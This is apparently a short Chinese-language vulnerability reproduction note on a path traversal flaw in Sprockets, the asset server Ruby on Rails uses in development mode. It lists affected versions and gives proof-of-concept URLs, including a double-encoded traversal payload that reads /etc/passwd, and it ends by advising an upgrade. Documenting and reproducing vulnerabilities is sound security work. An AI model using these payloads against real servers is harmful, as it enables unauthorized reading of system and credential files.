漏洞描述:
Ruby on Rails(官方简称为 Rails,亦被简称为 RoR),是一个使用 Ruby 语言写的开源 Web 应用框架,它是严格按照 MVC 结构开发的。它努力使自身保持简单,来使实际的应用开发时的代码更少,使用最少的配置。
漏洞利用条件:
Ruby On Rails在开发环境下使用Sprockets作为静态文件服务器,Sprockets是编译及分发静态资源文件的Ruby库。在Sprockets部分版本中因为二次解码导致的路径穿越漏洞。
漏洞影响范围:
4.0.0.beta7及更低版本
3.7.1及更低版本
2.12.4及更低版本
漏洞复现:
1.访问页面:
2.POC:在url后输入/assets/file:%2f%2f/etc/passwd尝试读取passwd文件,发现报错页面出现了允许访问的路径:
3.在允许访问的路径上构造payload读取文件/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd:
修复建议:
1.升级到安全版本